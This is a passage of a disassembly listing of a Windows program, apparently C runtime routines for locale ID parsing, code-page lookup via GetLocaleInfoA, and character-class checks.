edx, edx jz short loc_43201C mov eax, ds:dword_4EECD8 and eax, 7 test eax, eax jnz short loc_432026 loc_43201C: ; CODE XREF: sub_431F70+8Ej ; sub_431F70+9Ej mov ds:dword_4EECD8, 0 loc_432026: ; CODE XREF: sub_431F70+AAj mov esp, ebp pop ebp retn sub_431F70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432030 proc near ; DATA XREF: sub_431F70+75o var_7C = dword ptr -7Ch var_78 = byte ptr -78h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 7Ch mov eax, [ebp+arg_0] push eax call sub_432990 add esp, 4 mov [ebp+var_7C], eax push 78h lea ecx, [ebp+var_78] push ecx mov edx, ds:dword_4EECC4 neg edx sbb edx, edx and edx, 0FFFFF005h add edx, 1002h push edx mov eax, [ebp+var_7C] push eax call ds:dword_4EECE0 test eax, eax jnz short loc_432084 mov ds:dword_4EECD8, 0 mov eax, 1 jmp loc_43234E ; --------------------------------------------------------------------------- loc_432084: ; CODE XREF: sub_432030+3Ej lea ecx, [ebp+var_78] push ecx mov edx, ds:dword_4EECD4 push edx call sub_435D40 add esp, 8 test eax, eax jnz loc_4321BF push 78h lea eax, [ebp+var_78] push eax mov ecx, ds:dword_4EECCC neg ecx sbb ecx, ecx and ecx, 0FFFFF002h add ecx, 1001h push ecx mov edx, [ebp+var_7C] push edx call ds:dword_4EECE0 test eax, eax jnz short loc_4320DE mov ds:dword_4EECD8, 0 mov eax, 1 jmp loc_43234E ; --------------------------------------------------------------------------- loc_4320DE: ; CODE XREF: sub_432030+98j lea eax, [ebp+var_78] push eax mov ecx, ds:dword_4EECD0 push ecx call sub_435D40 add esp, 8 test eax, eax jnz short loc_432120 mov edx, ds:dword_4EECD8 or edx, 304h mov ds:dword_4EECD8, edx mov eax, [ebp+var_7C] mov ds:dword_4EECDC, eax mov ecx, ds:dword_4EECDC mov ds:dword_4EECC0, ecx jmp loc_4321BF ; --------------------------------------------------------------------------- loc_432120: ; CODE XREF: sub_432030+C3j mov edx, ds:dword_4EECD8 and edx, 2 test edx, edx jnz loc_4321BF cmp ds:dword_4EECC8, 0 jz short loc_43218D mov eax, ds:dword_4EECC8 push eax lea ecx, [ebp+var_78] push ecx mov edx, ds:dword_4EECD0 push edx call sub_435E10 add esp, 0Ch test eax, eax jnz short loc_43218D mov eax, ds:dword_4EECD8 or al, 2 mov ds:dword_4EECD8, eax mov ecx, [ebp+var_7C] mov ds:dword_4EECDC, ecx mov edx, ds:dword_4EECD0 push edx call sub_41AC70 add esp, 4 cmp eax, ds:dword_4EECC8 jnz short loc_43218B mov eax, [ebp+var_7C] mov ds:dword_4EECC0, eax loc_43218B: ; CODE XREF: sub_432030+151j jmp short loc_4321BF ; --------------------------------------------------------------------------- loc_43218D: ; CODE XREF: sub_432030+108j ; sub_432030+125j mov ecx, ds:dword_4EECD8 and ecx, 1 test ecx, ecx jnz short loc_4321BF mov edx, [ebp+var_7C] push edx call sub_4326D0 add esp, 4 test eax, eax jz short loc_4321BF mov eax, ds:dword_4EECD8 or al, 1 mov ds:dword_4EECD8, eax mov ecx, [ebp+var_7C] mov ds:dword_4EECDC, ecx loc_4321BF: ; CODE XREF: sub_432030+69j ; sub_432030+EBj ... mov edx, ds:dword_4EECD8 and edx, 300h cmp edx, 300h jz loc_432341 push 78h lea eax, [ebp+var_78] push eax mov ecx, ds:dword_4EECCC neg ecx sbb ecx, ecx and ecx, 0FFFFF002h add ecx, 1001h push ecx mov edx, [ebp+var_7C] push edx call ds:dword_4EECE0 test eax, eax jnz short loc_432216 mov ds:dword_4EECD8, 0 mov eax, 1 jmp loc_43234E ; --------------------------------------------------------------------------- loc_432216: ; CODE XREF: sub_432030+1D0j lea eax, [ebp+var_78] push eax mov ecx, ds:dword_4EECD0 push ecx call sub_435D40 add esp, 8 test eax, eax jnz loc_4322E0 mov edx, ds:dword_4EECD8 or dh, 2 mov ds:dword_4EECD8, edx cmp ds:dword_4EECCC, 0 jz short loc_43226A mov eax, ds:dword_4EECD8 or ah, 1 mov ds:dword_4EECD8, eax cmp ds:dword_4EECC0, 0 jnz short loc_432268 mov ecx, [ebp+var_7C] mov ds:dword_4EECC0, ecx loc_432268: ; CODE XREF: sub_432030+22Dj jmp short loc_4322DE ; --------------------------------------------------------------------------- loc_43226A: ; CODE XREF: sub_432030+217j cmp ds:dword_4EECC8, 0 jz short loc_4322BF mov edx, ds:dword_4EECD0 push edx call sub_41AC70 add esp, 4 cmp eax, ds:dword_4EECC8 jnz short loc_4322BF push 1 mov eax, [ebp+var_7C] push eax call sub_432720 add esp, 8 test eax, eax jz short loc_4322BD mov ecx, ds:dword_4EECD8 or ch, 1 mov ds:dword_4EECD8, ecx cmp ds:dword_4EECC0, 0 jnz short loc_4322BD mov edx, [ebp+var_7C] mov ds:dword_4EECC0, edx loc_4322BD: ; CODE XREF: sub_432030+26Aj ; sub_432030+282j jmp short loc_4322DE ; --------------------------------------------------------------------------- loc_4322BF: ; CODE XREF: sub_432030+241j ; sub_432030+258j mov eax, ds:dword_4EECD8 or ah, 1 mov ds:dword_4EECD8, eax cmp ds:dword_4EECC0, 0 jnz short loc_4322DE mov ecx, [ebp+var_7C] mov ds:dword_4EECC0, ecx loc_4322DE: ; CODE XREF: sub_432030:loc_432268j ; sub_432030:loc_4322BDj ... jmp short loc_432341 ; --------------------------------------------------------------------------- loc_4322E0: ; CODE XREF: sub_432030+1FBj cmp ds:dword_4EECCC, 0 jnz short loc_432341 cmp ds:dword_4EECC8, 0 jz short loc_432341 mov edx, ds:dword_4EECC8 push edx lea eax, [ebp+var_78] push eax mov ecx, ds:dword_4EECD0 push ecx call sub_435E10 add esp, 0Ch test eax, eax jnz short loc_432341 push 0 mov edx, [ebp+var_7C] push edx call sub_432720 add esp, 8 test eax, eax jz short loc_432341 mov eax, ds:dword_4EECD8 or ah, 1 mov ds:dword_4EECD8, eax cmp ds:dword_4EECC0, 0 jnz short loc_432341 mov ecx, [ebp+var_7C] mov ds:dword_4EECC0, ecx loc_432341: ; CODE XREF: sub_432030+1A1j ; sub_432030:loc_4322DEj ... mov eax, ds:dword_4EECD8 and eax, 4 neg eax sbb eax, eax inc eax loc_43234E: ; CODE XREF: sub_432030+4Fj ; sub_432030+A9j ... mov esp, ebp pop ebp retn 4 sub_432030 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432360 proc near ; CODE XREF: seg000:loc_431DC6p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov eax, ds:dword_4EECD0 push eax call sub_41AC70 add esp, 4 xor ecx, ecx cmp eax, 3 setz cl mov ds:dword_4EECCC, ecx cmp ds:dword_4EECCC, 0 jz short loc_432392 mov [ebp+var_4], 2 jmp short loc_4323A4 ; --------------------------------------------------------------------------- loc_432392: ; CODE XREF: sub_432360+27j mov edx, ds:dword_4EECD0 push edx call sub_432A10 add esp, 4 mov [ebp+var_4], eax loc_4323A4: ; CODE XREF: sub_432360+30j mov eax, [ebp+var_4] mov ds:dword_4EECC8, eax push 1 push offset sub_4323E0 call near ptr 3D0000h call near ptr 0ED1B3148h dec esi add [ebx-367AFB1Fh], al jnz short loc_4323D0 mov ds:dword_4EECD8, 0 loc_4323D0: ; CODE XREF: sub_432360+64j mov esp, ebp pop ebp retn sub_432360 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4323E0 proc near ; DATA XREF: sub_432360+4Eo var_7C = dword ptr -7Ch var_78 = byte ptr -78h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 7Ch mov eax, [ebp+arg_0] push eax call sub_432990 add esp, 4 mov [ebp+var_7C], eax push 78h lea ecx, [ebp+var_78] push ecx mov edx, ds:dword_4EECCC neg edx sbb edx, edx and edx, 0FFFFF002h add edx, 1001h push edx mov eax, [ebp+var_7C] push eax call ds:dword_4EECE0 test eax, eax jnz short loc_432434 mov ds:dword_4EECD8, 0 mov eax, 1 jmp loc_4324F9 ; --------------------------------------------------------------------------- loc_432434: ; CODE XREF: sub_4323E0+3Ej lea ecx, [ebp+var_78] push ecx mov edx, ds:dword_4EECD0 push edx call sub_435D40 add esp, 8 test eax, eax jnz short loc_432489 cmp ds:dword_4EECCC, 0 jnz short loc_432466 push 1 mov eax, [ebp+var_7C] push eax call sub_432720 add esp, 8 test eax, eax jz short loc_432487 loc_432466: ; CODE XREF: sub_4323E0+72j mov ecx, [ebp+var_7C] mov ds:dword_4EECDC, ecx mov edx, ds:dword_4EECDC mov ds:dword_4EECC0, edx mov eax, ds:dword_4EECD8 or al, 4 mov ds:dword_4EECD8, eax loc_432487: ; CODE XREF: sub_4323E0+84j jmp short loc_4324EC ; --------------------------------------------------------------------------- loc_432489: ; CODE XREF: sub_4323E0+69j cmp ds:dword_4EECCC, 0 jnz short loc_4324EC cmp ds:dword_4EECC8, 0 jz short loc_4324EC mov ecx, ds:dword_4EECC8 push ecx lea edx, [ebp+var_78] push edx mov eax, ds:dword_4EECD0 push eax call sub_435E10 add esp, 0Ch test eax, eax jnz short loc_4324EC push 0 mov ecx, [ebp+var_7C] push ecx call sub_432720 add esp, 8 test eax, eax jz short loc_4324EC mov edx, [ebp+var_7C] mov ds:dword_4EECDC, edx mov eax, ds:dword_4EECDC mov ds:dword_4EECC0, eax mov ecx, ds:dword_4EECD8 or ecx, 4 mov ds:dword_4EECD8, ecx loc_4324EC: ; CODE XREF: sub_4323E0:loc_432487j ; sub_4323E0+B0j ... mov eax, ds:dword_4EECD8 and eax, 4 neg eax sbb eax, eax inc eax loc_4324F9: ; CODE XREF: sub_4323E0+4Fj mov esp, ebp pop ebp retn 4 sub_4323E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432500 proc near ; CODE XREF: seg000:00431DE2p push ebp mov ebp, esp mov eax, ds:dword_4EECD4 push eax call sub_41AC70 add esp, 4 xor ecx, ecx cmp eax, 3 setz cl mov ds:dword_4EECC4, ecx push 1 push offset sub_432550 call near ptr 3D0000h movsd mov edx, ds:dword_4EECD8 and edx, 4 test edx, edx jnz short loc_432543 mov ds:dword_4EECD8, 0 loc_432543: ; CODE XREF: sub_432500+37j pop ebp retn sub_432500 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432550 proc near ; DATA XREF: sub_432500+21o var_7C = dword ptr -7Ch var_78 = byte ptr -78h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 7Ch mov eax, [ebp+arg_0] push eax call sub_432990 add esp, 4 mov [ebp+var_7C], eax push 78h lea ecx, [ebp+var_78] push ecx mov edx, ds:dword_4EECC4 neg edx sbb edx, edx and edx, 0FFFFF005h add edx, 1002h push edx mov eax, [ebp+var_7C] push eax call ds:dword_4EECE0 test eax, eax jnz short loc_4325A1 mov ds:dword_4EECD8, 0 mov eax, 1 jmp short loc_4325F6 ; --------------------------------------------------------------------------- loc_4325A1: ; CODE XREF: sub_432550+3Ej lea ecx, [ebp+var_78] push ecx mov edx, ds:dword_4EECD4 push edx call sub_435D40 add esp, 8 test eax, eax jnz short loc_4325E9 mov eax, [ebp+var_7C] push eax call sub_4326D0 add esp, 4 test eax, eax jz short loc_4325E9 mov ecx, [ebp+var_7C] mov ds:dword_4EECDC, ecx mov edx, ds:dword_4EECDC mov ds:dword_4EECC0, edx mov eax, ds:dword_4EECD8 or al, 4 mov ds:dword_4EECD8, eax loc_4325E9: ; CODE XREF: sub_432550+66j ; sub_432550+76j mov eax, ds:dword_4EECD8 and eax, 4 neg eax sbb eax, eax inc eax loc_4325F6: ; CODE XREF: sub_432550+4Fj mov esp, ebp pop ebp retn 4 sub_432550 endp ; --------------------------------------------------------------------------- align 10h loc_432600: ; CODE XREF: seg000:00431D18p ; seg000:loc_431DE9p push ebp mov ebp, esp mov eax, ds:dword_4EECD8 or eax, 104h mov ds:dword_4EECD8, eax call near ptr 3D0000h imul esp, ds:dword_4EECDC[ebx], 0ECDC0D8Bh dec esi add [ecx+4EECC00Dh], cl add [ebp-3Dh], bl ; --------------------------------------------------------------------------- db 5 dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432630 proc near ; CODE XREF: seg000:00431E08p var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 cmp [ebp+arg_0], 0 jz short loc_43265B mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_43265B push offset off_43AD54 mov edx, [ebp+arg_0] push edx call sub_41D900 add esp, 8 test eax, eax jnz short loc_432683 loc_43265B: ; CODE XREF: sub_432630+Aj ; sub_432630+14j push 8 lea eax, [ebp+var_8] push eax push 1004h mov ecx, ds:dword_4EECDC push ecx call ds:dword_4EECE0 test eax, eax jnz short loc_43267B xor eax, eax jmp short loc_4326C7 ; --------------------------------------------------------------------------- loc_43267B: ; CODE XREF: sub_432630+45j lea edx, [ebp+var_8] mov [ebp+arg_0], edx jmp short loc_4326BB ; --------------------------------------------------------------------------- loc_432683: ; CODE XREF: sub_432630+29j push offset off_43AD50 mov eax, [ebp+arg_0] push eax call sub_41D900 add esp, 8 test eax, eax jnz short loc_4326BB push 8 lea ecx, [ebp+var_8] push ecx push 0Bh mov edx, ds:dword_4EECDC push edx call ds:dword_4EECE0 test eax, eax jnz short loc_4326B5 xor eax, eax jmp short loc_4326C7 ; --------------------------------------------------------------------------- loc_4326B5: ; CODE XREF: sub_432630+7Fj lea eax, [ebp+var_8] mov [ebp+arg_0], eax loc_4326BB: ; CODE XREF: sub_432630+51j ; sub_432630+66j mov ecx, [ebp+arg_0] push ecx call sub_41D460 add esp, 4 loc_4326C7: ; CODE XREF: sub_432630+49j ; sub_432630+83j mov esp, ebp pop ebp retn sub_432630 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4326D0 proc near ; CODE XREF: sub_432030+16Ep ; sub_432550+6Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = word ptr 8 push ebp mov ebp, esp sub esp, 8 mov ax, [ebp+arg_0] mov word ptr [ebp+var_4], ax mov [ebp+var_8], 0 jmp short loc_4326F0 ; --------------------------------------------------------------------------- loc_4326E7: ; CODE XREF: sub_4326D0:loc_432714j mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx loc_4326F0: ; CODE XREF: sub_4326D0+15j cmp [ebp+var_8], 0Ah jnb short loc_432716 mov edx, [ebp+var_4] and edx, 0FFFFh mov eax, [ebp+var_8] xor ecx, ecx mov cx, ds:word_450C84[eax*2] cmp edx, ecx jnz short loc_432714 xor eax, eax jmp short loc_43271B ; --------------------------------------------------------------------------- loc_432714: ; CODE XREF: sub_4326D0+3Ej jmp short loc_4326E7 ; --------------------------------------------------------------------------- loc_432716: ; CODE XREF: sub_4326D0+24j mov eax, 1 loc_43271B: ; CODE XREF: sub_4326D0+42j mov esp, ebp pop ebp retn sub_4326D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432720 proc near ; CODE XREF: sub_432030+260p ; sub_432030+2E6p ... var_7C = byte ptr -7Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7Ch push esi mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 3FFh and eax, 0FFFFh or ah, 4 and eax, 0FFFFh mov [ebp+var_4], eax push 78h lea ecx, [ebp+var_7C] push ecx push 1 mov edx, [ebp+var_4] push edx call ds:dword_4EECE0 test eax, eax jnz short loc_43275E xor eax, eax jmp short loc_4327A2 ; --------------------------------------------------------------------------- loc_43275E: ; CODE XREF: sub_432720+38j lea eax, [ebp+var_7C] push eax call sub_432990 add esp, 4 cmp [ebp+arg_0], eax jz short loc_43279D cmp [ebp+arg_4], 0 jz short loc_43279D mov ecx, ds:dword_4EECD0 push ecx call sub_432A10 add esp, 4 mov esi, eax mov edx, ds:dword_4EECD0 push edx call sub_41AC70 add esp, 4 cmp esi, eax jnz short loc_43279D xor eax, eax jmp short loc_4327A2 ; --------------------------------------------------------------------------- loc_43279D: ; CODE XREF: sub_432720+4Dj ; sub_432720+53j ... mov eax, 1 loc_4327A2: ; CODE XREF: sub_432720+3Cj ; sub_432720+7Bj pop esi mov esp, ebp pop ebp retn sub_432720 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4327B0 proc near ; CODE XREF: seg000:00431CEFp var_98 = dword ptr -98h var_94 = dword ptr -94h var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 98h mov [ebp+var_94], 94h lea eax, [ebp+var_94] push eax call ds:dword_4F1358 ; GetVersionExA test eax, eax jz short loc_4327E9 cmp [ebp+var_84], 2 jnz short loc_4327E9 mov [ebp+var_98], 1 jmp short loc_4327F3 ; --------------------------------------------------------------------------- loc_4327E9: ; CODE XREF: sub_4327B0+22j ; sub_4327B0+2Bj mov [ebp+var_98], 0 loc_4327F3: ; CODE XREF: sub_4327B0+37j mov eax, [ebp+var_98] mov esp, ebp pop ebp retn sub_4327B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432800 proc near ; DATA XREF: seg000:loc_431D02o var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 14h mov [ebp+var_10], 0 mov [ebp+var_4], 1Ah mov [ebp+var_8], 0 loc_43281B: ; CODE XREF: sub_432800:loc_432963j mov eax, [ebp+var_10] cmp eax, [ebp+var_4] jg loc_432968 mov eax, [ebp+var_10] add eax, [ebp+var_4] cdq sub eax, edx sar eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_C] imul ecx, 2Ch mov edx, [ebp+arg_0] cmp edx, ds:dword_4507E0[ecx] jnz loc_43293E mov eax, [ebp+arg_4] mov [ebp+var_14], eax cmp [ebp+var_14], 0Bh ja short loc_432877 cmp [ebp+var_14], 0Bh jz loc_4328E9 cmp [ebp+var_14], 1 jz short loc_432894 cmp [ebp+var_14], 3 jz short loc_4328B6 cmp [ebp+var_14], 7 jz short loc_4328D8 jmp loc_432908 ; --------------------------------------------------------------------------- loc_432877: ; CODE XREF: sub_432800+54j cmp [ebp+var_14], 1001h jz short loc_4328A5 cmp [ebp+var_14], 1002h jz short loc_4328C7 cmp [ebp+var_14], 1004h jz short loc_4328FA jmp short loc_432908 ; --------------------------------------------------------------------------- loc_432894: ; CODE XREF: sub_432800+64j mov ecx, [ebp+var_C] imul ecx, 2Ch add ecx, offset a040a ; "040a" mov [ebp+var_8], ecx jmp short loc_432908 ; --------------------------------------------------------------------------- loc_4328A5: ; CODE XREF: sub_432800+7Ej mov edx, [ebp+var_C] imul edx, 2Ch mov eax, ds:off_4507EC[edx] mov [ebp+var_8], eax jmp short loc_432908 ; --------------------------------------------------------------------------- loc_4328B6: ; CODE XREF: sub_432800+6Aj mov ecx, [ebp+var_C] imul ecx, 2Ch add ecx, offset off_4507F0 mov [ebp+var_8], ecx jmp short loc_432908 ; --------------------------------------------------------------------------- loc_4328C7: ; CODE XREF: sub_432800+87j mov edx, [ebp+var_C] imul edx, 2Ch mov eax, ds:off_4507F4[edx] mov [ebp+var_8], eax jmp short loc_432908 ; --------------------------------------------------------------------------- loc_4328D8: ; CODE XREF: sub_432800+70j mov ecx, [ebp+var_C] imul ecx, 2Ch add ecx, offset off_4507F8 mov [ebp+var_8], ecx jmp short loc_432908 ; --------------------------------------------------------------------------- loc_4328E9: ; CODE XREF: sub_432800+5Aj mov edx, [ebp+var_C] imul edx, 2Ch add edx, offset dword_4507FC mov [ebp+var_8], edx jmp short loc_432908 ; --------------------------------------------------------------------------- loc_4328FA: ; CODE XREF: sub_432800+90j mov eax, [ebp+var_C] imul eax, 2Ch add eax, offset a1252 ; "1252" mov [ebp+var_8], eax loc_432908: ; CODE XREF: sub_432800+72j ; sub_432800+92j ... cmp [ebp+var_8], 0 jz short loc_432914 cmp [ebp+arg_C], 1 jge short loc_432916 loc_432914: ; CODE XREF: sub_432800+10Cj jmp short loc_432968 ; --------------------------------------------------------------------------- loc_432916: ; CODE XREF: sub_432800+112j mov ecx, [ebp+arg_C] sub ecx, 1 push ecx mov edx, [ebp+var_8] push edx mov eax, [ebp+arg_8] push eax call sub_41D800 add esp, 0Ch mov ecx, [ebp+arg_8] add ecx, [ebp+arg_C] mov byte ptr [ecx-1], 0 mov eax, 1 jmp short loc_43297E ; --------------------------------------------------------------------------- loc_43293E: ; CODE XREF: sub_432800+44j mov edx, [ebp+var_C] imul edx, 2Ch mov eax, [ebp+arg_0] cmp eax, ds:dword_4507E0[edx] jnb short loc_43295A mov ecx, [ebp+var_C] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_432963 ; --------------------------------------------------------------------------- loc_43295A: ; CODE XREF: sub_432800+14Dj mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_10], edx loc_432963: ; CODE XREF: sub_432800+158j jmp loc_43281B ; --------------------------------------------------------------------------- loc_432968: ; CODE XREF: sub_432800+21j ; sub_432800:loc_432914j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call ds:dword_4F1354 ; GetLocaleInfoA loc_43297E: ; CODE XREF: sub_432800+13Cj mov esp, ebp pop ebp retn 10h sub_432800 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432990 proc near ; CODE XREF: sub_432030+Ap ; sub_4323E0+Ap ... var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], 0 loc_43299D: ; CODE XREF: sub_432990+6Dj mov eax, [ebp+arg_0] mov cl, [eax] mov [ebp+var_8], cl movsx edx, [ebp+var_8] mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax test edx, edx jz short loc_4329FF movsx ecx, [ebp+var_8] cmp ecx, 61h jl short loc_4329D2 movsx edx, [ebp+var_8] cmp edx, 66h jg short loc_4329D2 mov al, [ebp+var_8] add al, 0D9h mov [ebp+var_8], al jmp short loc_4329EC ; --------------------------------------------------------------------------- loc_4329D2: ; CODE XREF: sub_432990+2Dj ; sub_432990+36j movsx ecx, [ebp+var_8] cmp ecx, 41h jl short loc_4329EC movsx edx, [ebp+var_8] cmp edx, 46h jg short loc_4329EC mov al, [ebp+var_8] add al, 0F9h mov [ebp+var_8], al loc_4329EC: ; CODE XREF: sub_432990+40j ; sub_432990+49j ... mov ecx, [ebp+var_4] shl ecx, 4 movsx edx, [ebp+var_8] lea eax, [ecx+edx-30h] mov [ebp+var_4], eax jmp short loc_43299D ; --------------------------------------------------------------------------- loc_4329FF: ; CODE XREF: sub_432990+24j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_432990 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432A10 proc near ; CODE XREF: sub_431F70+60p ; sub_432360+39p ... var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 mov eax, [ebp+arg_0] mov cl, [eax] mov [ebp+var_4], cl mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx loc_432A2E: ; CODE XREF: sub_432A10+5Cj movsx eax, [ebp+var_4] cmp eax, 41h jl short loc_432A40 movsx ecx, [ebp+var_4] cmp ecx, 5Ah jle short loc_432A52 loc_432A40: ; CODE XREF: sub_432A10+25j movsx edx, [ebp+var_4] cmp edx, 61h jl short loc_432A6E movsx eax, [ebp+var_4] cmp eax, 7Ah jg short loc_432A6E loc_432A52: ; CODE XREF: sub_432A10+2Ej mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov al, [edx] mov [ebp+var_4], al mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx jmp short loc_432A2E ; --------------------------------------------------------------------------- loc_432A6E: ; CODE XREF: sub_432A10+37j ; sub_432A10+40j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_432A10 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 0 mov eax, [ebp+8] push eax call sub_432C00 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 3 push 0 mov eax, [ebp+8] push eax call sub_432C00 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 2 push 0 mov eax, [ebp+8] push eax call sub_432C00 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 107h mov eax, [ebp+8] push eax call sub_432C00 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 103h mov eax, [ebp+8] push eax call sub_432C00 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 3 push 117h mov eax, [ebp+8] push eax call sub_432C00 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 3 push 157h mov eax, [ebp+8] push eax call sub_432C00 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 2 push 10h mov eax, [ebp+8] push eax call sub_432C00 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432B80 proc near ; CODE XREF: sub_42C0C0+4Ep arg_0 = dword ptr 8 push ebp mov ebp, esp push 4 push 0 mov eax, [ebp+arg_0] push eax call sub_432C00 add esp, 0Ch pop ebp retn sub_432B80 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 8 push 0 mov eax, [ebp+8] push eax call sub_432C00 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp ds:dword_4EEE24, 3A4h jnz short loc_432BED push 3 push 0 mov eax, [ebp+8] push eax call sub_432C00 add esp, 0Ch test eax, eax jz short loc_432BED mov dword ptr [ebp-4], 1 jmp short loc_432BF4 ; --------------------------------------------------------------------------- loc_432BED: ; CODE XREF: seg000:00432BCEj ; seg000:00432BE2j mov dword ptr [ebp-4], 0 loc_432BF4: ; CODE XREF: seg000:00432BEBj mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432C00 proc near ; CODE XREF: seg000:00432A8Bp ; seg000:00432AABp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] and eax, 0FFh mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor edx, edx mov dl, ds:byte_4EEF41[ecx] and edx, [ebp+arg_8] test edx, edx jnz short loc_432C54 cmp [ebp+arg_4], 0 jz short loc_432C3E mov eax, [ebp+arg_0] xor ecx, ecx mov cx, ds:word_44FE36[eax*2] and ecx, [ebp+arg_4] mov [ebp+var_4], ecx jmp short loc_432C45 ; --------------------------------------------------------------------------- loc_432C3E: ; CODE XREF: sub_432C00+27j mov [ebp+var_4], 0 loc_432C45: ; CODE XREF: sub_432C00+3Cj cmp [ebp+var_4], 0 jnz short loc_432C54 mov [ebp+var_8], 0 jmp short loc_432C5B ; --------------------------------------------------------------------------- loc_432C54: ; CODE XREF: sub_432C00+21j ; sub_432C00+49j mov [ebp+var_8], 1 loc_432C5B: ; CODE XREF: sub_432C00+52j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_432C00 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, [ebp+8] cmp eax, ds:dword_4EEE20 jnb short loc_432CA1 mov ecx, [ebp+8] sar ecx, 5 mov edx, [ebp+8] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4EED20[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_432CB1 loc_432CA1: ; CODE XREF: seg000:00432C7Dj call sub_4267E0 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_432CDF ; --------------------------------------------------------------------------- loc_432CB1: ; CODE XREF: seg000:00432C9Fj mov edx, [ebp+8] push edx call sub_42DB90 add esp, 4 mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_432CF0 add esp, 8 mov [ebp-4], eax mov edx, [ebp+8] push edx call sub_42DC20 add esp, 4 mov eax, [ebp-4] loc_432CDF: ; CODE XREF: seg000:00432CAFj mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432CF0 proc near ; CODE XREF: sub_42E310+44Cp ; seg000:00432CC5p var_1024 = dword ptr -1024h var_1020 = dword ptr -1020h var_101C = dword ptr -101Ch var_1018 = dword ptr -1018h var_1014 = dword ptr -1014h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h 